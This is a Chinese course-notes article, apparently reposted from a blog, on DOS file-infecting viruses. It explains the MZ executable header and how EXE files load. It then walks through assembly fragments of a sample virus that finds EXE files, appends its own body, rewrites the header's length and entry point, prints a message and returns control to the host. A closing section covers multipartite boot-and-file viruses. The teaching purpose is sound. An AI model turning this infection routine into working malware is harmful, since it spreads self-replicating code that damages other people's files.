ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

【计算机网络病毒六】DOS病毒之文件型病毒

2021-08-31 16:04:00  阅读:312  来源: 互联网

标签:文件 mov 计算机网络 Start Virus dx si DOS 病毒


四、DOS病毒之文件型病毒

4.4 文件型病毒

基本原理
image-20210616144936588
感染MZ文件

MZ文件结构及其加载

  • 文件结构
00-01  e_magic; // 文件类型标记:0x4D5A魔术数字
02-03  e_cblp; // 文件最后页的字节数
04-05  e_cp; // 文件页数
06-07  e_crlc; // 重定义项个数
08-09  e_cparhdr; // 头部尺寸,以16B的段落为单位
0a-0b  e_minalloc; // 所需的最小内存段
0c-0d  e_maxalloc; // 所需的最大内存段 
0e-0f  e_ss; // 初始的SS值(相对偏移量)
10-11 e_sp; // 初始的SP值
12-13 e_csum; // 校验和
14-15 e_ip; // 初始的IP值
16-17 e_cs; // 初始的CS值(相对偏移量)
18-19 e_lfarlc; // 重定位表偏移地址
1a-1b e_ovno; // 覆盖号

重定位表
载入模块....
  • 加载
  1. 申请内存后,把载入模块读入内存指定区域
  2. DS、ES指向程度段前缀PSP
  3. CS、IP、SS、SP由文件头的格式化区域确定并通过重定位进行调整
  4. EXE文件加载之后,从CS:IP开始执行。
  5. 病毒一般将自己加在文件的末端,并修改CS、IP的值指向病毒起始地址,修改文件长度和SS、SP
MZ文件病毒样例分析
设置DTA
mov  ah, 1ah
mov  dx, offset  own_dta-Virus_Start
add  dx,  si
int     21
查找EXE文件
mov  ah, 4eh
mov  dx, offset file_match-Virus_Start
add  dx,  si
int     21
jnc   count2
打开感染文件
mov  ah, 3d02h
mov   dx,   Own_dta-Virus_Start+1eh//文件名
add    dx,  si
int      21
jnc   count1
读感染文件头
mov  ah, 3fh
mov  cx, 1ch
mov   dx,   offset  Exe_Header-Virus_Start
add    dx,  si
int      21
jnc   count1
判读是否感染
   cmp  byte ptr ds:[si+Exe_Header-Virus_Start], ‘M’
	jnz    no_exe
	cmp  word ptr ds:[si+Exe_Header-Virus_Start+12], ‘FB’
    jz       infected
移动文件指针至文件尾
	mov  ax,  4202h
	xor    cx,  cx
	xor    dx,  dx
	int     21
    push  dx  //宿主程序尾,也是病毒体的开始
    push  ax  //将以此为感染后EXE文件的入口
写病毒体至文件尾
	mov  ax,  40h
	mov  cx,  Virus_Length  //病毒体长度
	mov  dx,  si  //病毒开始位置
	int     21
获取感染后新文件的长度
	mov  ax,  4202h
	xor    cx,  cx
	xor    dx,  dx
	int     21
    mov  cx,  200//512 一页
    div    cx
    inc    ax 
改写感染后文件头中文件长度信息
	mov  word ptr ds:[si+Exe_Header-Virus_Start+2], dx
    //文件最后一页的字节数
	mov  word ptr ds:[si+Exe_Header-Virus_Start+4], ax
    //文件总页数
修改感染文件入口至病毒代码处
	pop  ax
    pop  dx
	mov cx, 10
    div   cx
    sub  ax, word ptr ds:[si+Exe_Header-Virus_Start+8]
    //文件头大小 
	mov  word ptr ds:[si+Exe_Header-Virus_Start+16], ax
    //CS
	mov  word ptr ds:[si+Exe_Header-Virus_Start+14], dx
    //IP
写修改后的文件头至感染文件
	mov  ax,  4200h
	xor    cx,  cx
	xor    dx,  dx
	int     21
	mov  ah, 40
	mov  cx, 1ch
	mov  dx,  offset Exe_header-Virus_Start
    add   dx,  si
    int     21
病毒发作
	pop   dx     //指向PSP的DS
   add   dx,  offset  sz_message-Virus_Start
	mov  ah, 09h
	int     21
返回宿主程序入口
	mov  ax, es
	add   ax, 10
	add   ax, cs:[si+Exe_header-Virus_Start+16]
	push  ax  //宿主CS
	push   cs:[si+Exe_header-Virus_Start+14]//宿主IP
    push   ds
    ....	
	pop     ds
	retf

4.5 混合型病毒的基本原理

概念

  • 混合型病毒也称多型病毒,是结合了引导型和文件型两种病毒而互为感染的病毒,有感染文件和引导扇区两种目标
  • 混合型病毒既能感染引导区,又能感染文件,但并非将文件型病毒和引导型病毒简单地加在一起。

基本原理

  1. 文件中的病毒执行时将病毒写入引导区
  2. 染毒盘启动系统时,用引导型病毒的方法驻留内存,但此时DOS未加载,无法修改INT 21H,无法感染文件。
  3. 通常的做法是修改INT 8H,用INT 8H服务程序监测INT 21H的地址是否修改,如果修改,说明DOS已加载,则可修改INT 21H指向病毒传染段。

标签:文件,mov,计算机网络,Start,Virus,dx,si,DOS,病毒
来源: https://www.cnblogs.com/cxgang/p/15210741.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有